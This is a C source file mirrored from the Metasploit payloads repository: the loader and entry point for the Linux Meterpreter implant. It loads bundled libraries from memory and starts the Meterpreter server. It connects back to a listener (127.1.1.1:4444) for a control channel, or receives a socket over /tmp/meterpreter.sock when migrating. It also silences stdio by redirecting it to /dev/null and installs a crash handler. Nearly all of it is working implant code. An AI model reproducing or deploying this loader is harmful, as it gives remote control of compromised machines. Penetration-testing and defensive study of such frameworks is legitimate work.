1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-26 16:53:20 +02:00

571 lines
13 KiB
C

/*
* metasploit
*/
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <endian.h>
#include <sys/sysmacros.h>
#include <asm/sigcontext.h>
#include <asm/ucontext.h>
#include "linker.h"
#include "linker_debug.h"
#include "linker_format.h"
#include "libc.h"
#include "libm.h"
#include "libcrypto.h"
#include "libssl.h"
#include "libsupport.h"
#include "libmetsrv_main.h"
#include "libpcap.h"
#include "../../common/compat_types.h"
#include "../../common/config.h"
struct libs {
char *name;
void *buf;
size_t size;
void *handle;
};
static struct libs libs[] = {
{ "libc.so", libc, libc_length, NULL },
{ "libm.so", libm, libm_length, NULL },
{ "libpcap.so.1", libpcap, libpcap_length, NULL },
{ "libcrypto.so.32", libcrypto, libcrypto_length, NULL },
{ "libssl.so.32", libssl, libssl_length, NULL },
{ "libsupport.so", libsupport, libsupport_length, NULL },
{ "libmetsrv_main.so", libmetsrv_main, libmetsrv_main_length, NULL },
};
#define LIBC_IDX 0
#define LIBSUPPORT_IDX 5
#define METSRV_IDX 6
#include <pthread.h>
extern int (*pthread_mutex_lock_fp)(pthread_mutex_t *mutex);
extern int (*pthread_mutex_unlock_fp)(pthread_mutex_t *mutex);
int dlsocket(void *libc);
int pass_fd(void *libc);
void perform_fd_cleanup(int *fd);
#define OPT_DEBUG_ENABLE (1 << 0)
#define OPT_NO_FD_CLEANUP (1 << 1)
#define OPT_PASS_FD (1 << 2)
int global_debug = 0;
char sock_path[UNIX_PATH_MAX] = "/tmp/meterpreter.sock";
/*
* Map in libraries, and hand off execution to the meterpreter server
*/
unsigned metsrv_rtld(MetsrvConfig* config, int options)
{
int i;
int (*libc_init_common)();
int (*server_setup)();
struct stat statbuf;
INFO("[ preparing to link. config = 0x%08x, fd = %d ]\n", (unsigned int)config, config->session.comms_fd);
for(i = 0; i < sizeof(libs) / sizeof(struct libs); i++) {
libs[i].handle = (void *) dlopenbuf(libs[i].name, libs[i].buf, libs[i].size);
if(! libs[i].handle) {
TRACE("[ failed to load %s/%08x/%08x, bailing ]\n", libs[i].name, libs[i].buf, libs[i].size);
exit(1);
}
}
libc_init_common = dlsym(libs[LIBC_IDX].handle, "__libc_init_common");
TRACE("[ __libc_init_common is at %08x, calling ]\n", libc_init_common);
libc_init_common();
{
int (*lock_sym)(pthread_mutex_t *mutex);
int (*unlock_sym)(pthread_mutex_t *mutex);
TRACE("[ setting pthread_mutex_lock_fp / pthread_mutex_unlock_fp ]\n");
lock_sym = dlsym(libs[LIBC_IDX].handle, "pthread_mutex_lock");
unlock_sym = dlsym(libs[LIBC_IDX].handle, "pthread_mutex_unlock");
if(! lock_sym || !unlock_sym)
{
TRACE("[ libc mapping seems to be broken. exit()'ing ]");
exit(-1);
}
pthread_mutex_lock_fp = lock_sym;
pthread_mutex_unlock_fp = unlock_sym;
}
if (options & OPT_PASS_FD) {
unsigned int (*sleep)(unsigned int seconds);
int (*raise)(int sig);
TRACE("[ Solving symbols ]\n");
sleep = dlsym(libs[LIBC_IDX].handle, "sleep");
if (!sleep) {
TRACE("[ Failed to solve sleep ]\n");
exit(-1);
}
raise = dlsym(libs[LIBC_IDX].handle, "raise");
if (!raise) {
TRACE("[ Failed to solve raise ]\n");
exit(-1);
}
config->session.comms_fd = pass_fd(libs[LIBC_IDX].handle);
if (config->session.comms_fd == -1) {
exit(-1);
} else {
TRACE("[ Warning the migrating process and give to the server time to catch up... ]\n");
raise(SIGTRAP);
sleep(4);
}
} else if(fstat(config->session.comms_fd, &statbuf) == -1) {
options = OPT_DEBUG_ENABLE;
TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
config->session.comms_fd = dlsocket(libs[LIBC_IDX].handle);
if(config->session.comms_fd == -1) {
TRACE("[ failed to dlsocket() a connection. exit()ing ]\n");
exit(-1);
}
}
if(options & OPT_DEBUG_ENABLE) {
void (*enable_debugging)();
enable_debugging = dlsym(libs[LIBSUPPORT_IDX].handle, "enable_debugging");
if(! enable_debugging) {
TRACE("[ failed to find the enable_debugging function, exit()'ing ]\n");
exit(-1);
}
global_debug = 1;
enable_debugging();
}
TRACE("[ logging will stop unless OPT_NO_FD_CLEANUP is set ]\n");
if(!(options & OPT_NO_FD_CLEANUP)) {
perform_fd_cleanup((int*)&config->session.comms_fd);
}
server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
TRACE("[ metsrv server_setup is at 0x%x, calling ]\n", server_setup);
server_setup(config);
TRACE("[ metsrv_rtld(): server_setup() returned, exit()'ing ]\n");
exit(1);
}
/*
* Clean up the file descriptors associated with this process. If we hold fd's for server sockets, we can
* interfere with process restarts, amongst other things.
*/
void perform_fd_cleanup(int *fd)
{
int i, new_fd;
struct stat statbuf;
int dev_null = -1;
for(i = 0; i < 1024; i++) {
if(i == *fd) continue;
if(fstat(i, &statbuf) == -1) continue;
if(major(statbuf.st_rdev) == 1 && minor(statbuf.st_rdev) == 3) {
dev_null = i;
continue;
}
close(i);
}
// move server fd if <= 2
if(*fd <= 2) {
if((new_fd = dup2(*fd, dev_null == -1 ? 3 : dev_null == 3 ? 4 : 3)) == -1) {
TRACE("[ unable to dup2 new fd ? should be fine. returning ]\n");
return;
}
close(*fd);
*fd = new_fd;
}
// try to open /dev/null if it does not exist atm.
if(dev_null == -1) {
dev_null = open("/dev/null", O_WRONLY);
if(dev_null == -1) {
TRACE("[ unable to open new /dev/null cause existing one doesn't exist ]\n");
return;
}
}
dup2(dev_null, 0);
dup2(dev_null, 1);
dup2(dev_null, 2);
if(dev_null > 2) close(dev_null);
}
/*
* If we have been executed directly (instead of staging shellcode /
* rtldtest binary, we will have an invalid fd passed in. Here we
* use the libc symbols to connect to the metasploit session
*/
int dlsocket(void *libc)
{
int retcode = -1;
int fd;
int (*libc_socket)();
int (*libc_connect)();
int (*libc_inet_addr)();
struct sockaddr_in sin;
libc_socket = dlsym(libc, "socket");
libc_connect = dlsym(libc, "connect");
libc_inet_addr = dlsym(libc, "inet_addr");
memset(&sin, 0, sizeof(struct sockaddr_in));
do {
fd = libc_socket(AF_INET, SOCK_STREAM, 0);
if(fd == -1) break;
sin.sin_addr.s_addr = libc_inet_addr("127.1.1.1");
sin.sin_port = htons(4444);
sin.sin_family = AF_INET;
if(libc_connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) break;
retcode = fd;
} while(0);
return retcode;
}
int pass_fd(void *libc) {
int (*socket)(int domain, int type, int protocol);
int (*connect)(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
ssize_t (*recvmsg)(int sockfd, struct msghdr *msg, int flags);
char * (*strncpy)(char *dst, const char *src, size_t n);
int fd = -1;
TRACE("[ Receiving socket file descriptor ]\n");
TRACE("[ Solving symbols ]\n");
socket = dlsym(libc, "socket");
if (!socket) {
TRACE("[ Failed to solve socket ]\n");
return -1;
}
connect = dlsym(libc, "connect");
if (!connect) {
TRACE("[ Failed to solve connect ]\n");
return -1;
}
recvmsg = dlsym(libc, "recvmsg");
if (!recvmsg) {
TRACE("[ Failed to solve recvmsg ]\n");
return -1;
}
strncpy = dlsym(libc, "strncpy");
if (!strncpy) {
TRACE("[ Failed to solve strncpy ]\n");
return -1;
}
TRACE("[ Creating the message structs ]\n");
char buf[80];
struct iovec vector;
struct msghdr msg;
struct cmsghdr * cmsg;
int s, t, len;
struct sockaddr_un remote;
vector.iov_base = buf;
vector.iov_len = 80;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &vector;
msg.msg_iovlen = 1;
cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd));
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(fd);
msg.msg_control = cmsg;
msg.msg_controllen = cmsg->cmsg_len;
TRACE("[ Creating local unix socket ]\n");
if ((s = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
TRACE("[ Failed to create UNIX SOCKET ]\n");
return -1;
}
remote.sun_family = AF_UNIX;
strncpy(remote.sun_path, sock_path, UNIX_PATH_MAX - 1);
len = strlen(remote.sun_path) + sizeof(remote.sun_family);
if (connect(s, (struct sockaddr *)&remote, len) == -1) {
TRACE("[ ERROR connecting ]\n");
return -1;
}
if (!recvmsg(s, &msg, 0)) {
TRACE("[ ERROR recvmsg ]\n");
return -1;
}
TRACE("[ Got file descriptor for '%s' ]\n", (char *) vector.iov_base);
close(s);
TRACE("[ Extracting fd... ]\n");
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
TRACE("[ fd for socket %d ]\n", fd);
return fd;
}
extern soinfo *solist;
/*
* This can't handle PROT_WRITE only memory :-)
*/
void dump_memory(char **ptr, int *len, char *prefix, long unsigned int location, size_t count)
{
unsigned char discard[count];
int fds[2];
int rc;
size_t n;
if(pipe(fds) == -1) return;
if(write(fds[1], (void *)location, count) == count) {
if(read(fds[0], discard, count) == count) {
n = 0;
while(n < count) {
rc = format_buffer(*ptr, *len, "%s+%4d: %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x\n",
prefix, n, discard[n + 0], discard[n + 1], discard[n + 2], discard[n + 3],
discard[n + 4], discard[n + 5], discard[n + 6], discard[n + 7],
discard[n + 8], discard[n + 9], discard[n + 10], discard[n + 11],
discard[n + 12], discard[n + 13], discard[n + 14], discard[n + 15]
);
*ptr += rc;
*len -= rc;
n += 16;
}
rc = format_buffer(*ptr, *len, "\n");
*ptr += rc;
*len -= rc;
}
}
close(fds[0]);
close(fds[1]);
}
void *special_sig_stack;
void sigcrash(int signo, siginfo_t *info, void *context)
{
struct ucontext *uc = (struct ucontext *)(context);
struct sigcontext *sg = (struct sigcontext *)(& uc->uc_mcontext);
char buf[8192], *p;
int len, rc;
int fd;
soinfo *si;
char filename[64];
// reset signal handler, in case of another crash
signal(signo, SIG_DFL);
memset(buf, 0, sizeof(buf));
p = buf;
len = sizeof(buf);
rc = format_buffer(p, len, "\n[ meterpreter crash -- caught signal %d ]\n\n", signo);
p += rc;
len -= rc;
rc = format_buffer(p, len, "Special registers:\nEIP: 0x%08x ESP: 0x%08x EBP: 0x%08x\n\n",
sg->eip, sg->esp, sg->ebp);
p += rc;
len -= rc;
rc = format_buffer(p, len, "General registers:\nEAX: 0x%08x EBX: 0x%08x ECX: 0x%08x" \
" EDX: 0x%08x ESI: 0x%08x EDI: 0x%08x\n\n",
sg->eax, sg->ebx, sg->ecx, sg->edx, sg->esi, sg->edi);
p += rc;
len -= rc;
rc = format_buffer(p, len, "Loaded libraries:\n");
p += rc;
len -= rc;
for(si = solist; si; si = si->next) {
rc = format_buffer(p, len, "%s %08x - %08x", si->name, si->base, si->base + si->size);
p += rc;
len -= rc;
if(sg->eip >= si->base && sg->eip <= (si->base + si->size)) {
rc = format_buffer(p, len, " [eip offset: %08x]", sg->eip - si->base);
p += rc;
len -= rc;
}
rc = format_buffer(p, len, "\n");
p += rc;
len -= rc;
}
rc = format_buffer(p, len, "\nRegister pointer contents:\n");
p += rc;
len -= rc;
dump_memory(&p, &len, "EAX", sg->eax, 32);
dump_memory(&p, &len, "EBX", sg->ebx, 32);
dump_memory(&p, &len, "ECX", sg->ecx, 32);
dump_memory(&p, &len, "EDX", sg->edx, 32);
dump_memory(&p, &len, "ESI", sg->esi, 32);
dump_memory(&p, &len, "EDI", sg->edi, 32);
dump_memory(&p, &len, "EBP", sg->ebp, 64);
dump_memory(&p, &len, "ESP", sg->esp, 64);
dump_memory(&p, &len, "EIP", sg->eip, 16);
fd = open("/proc/self/maps", O_RDONLY);
if(fd != -1) {
rc = read(fd, p, len);
if(rc != -1) {
p += rc;
len -= rc;
}
close(fd);
}
// write file only if debug is enabled
if (global_debug) {
memset(filename, 0, sizeof(filename));
format_buffer(filename, sizeof(filename) - 1, "/tmp/meterpreter.crash.%d", getpid());
fd = open(filename, O_WRONLY|O_TRUNC|O_CREAT, 0644);
if(fd) {
write(fd, buf, 8192 - len);
close(fd);
}
}
write(2, buf, 8192 - len);
}
void sigchld(int signo)
{
waitpid(-1, NULL, WNOHANG);
}
#define NEWSTKSIZE (4096 * 32)
void handle_crashes()
{
struct sigaction sa;
memset(&sa, 0, sizeof(struct sigaction));
sa.sa_sigaction = sigcrash;
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
/*
* We set up a special signal handler stack on the chance that
* if our thread's esp is corrupt / too long, we can still execute
* the crash handler.
*/
special_sig_stack = mmap(NULL, NEWSTKSIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
if(special_sig_stack == MAP_FAILED) {
TRACE("[ (%s) unable to mmap for special stack. ]", __FUNCTION__);
sa.sa_flags &= ~SA_ONSTACK;
special_sig_stack = NULL;
} else {
stack_t newstk;
newstk.ss_sp = special_sig_stack;
newstk.ss_flags = 0;
newstk.ss_size = NEWSTKSIZE;
if(sigaltstack(&newstk, NULL) == -1) {
TRACE("[ (%s) unable to sigaltstack. errno = %d ]", __FUNCTION__, errno);
munmap(special_sig_stack, NEWSTKSIZE);
special_sig_stack = NULL;
sa.sa_flags &= ~SA_ONSTACK;
}
}
sigaction(SIGSEGV, &sa, NULL); sigaction(SIGILL, &sa, NULL);
sigaction(SIGFPE, &sa, NULL); sigaction(SIGSYS, &sa, NULL);
sigaction(SIGABRT, &sa, NULL);
}
/*
* This is the entry point for the meterpreter payload, either as a stand alone executable, or a
* payload executing on the remote machine.
*
* If executed as a stand alone, int fd will be invalid. Later on, once libc has been loaded,
* it will connect to the metasploit meterpreter server.
*/
void _start(MetsrvConfig* config, int options)
{
alarm(0); // clear out any pending alarms.
signal(SIGCHLD, sigchld); // reap pids
signal(SIGPIPE, SIG_IGN); // ignore read/write pipe errors, make them return -1.
handle_crashes(); // try to make debugging a little easier.
metsrv_rtld(config, options);
}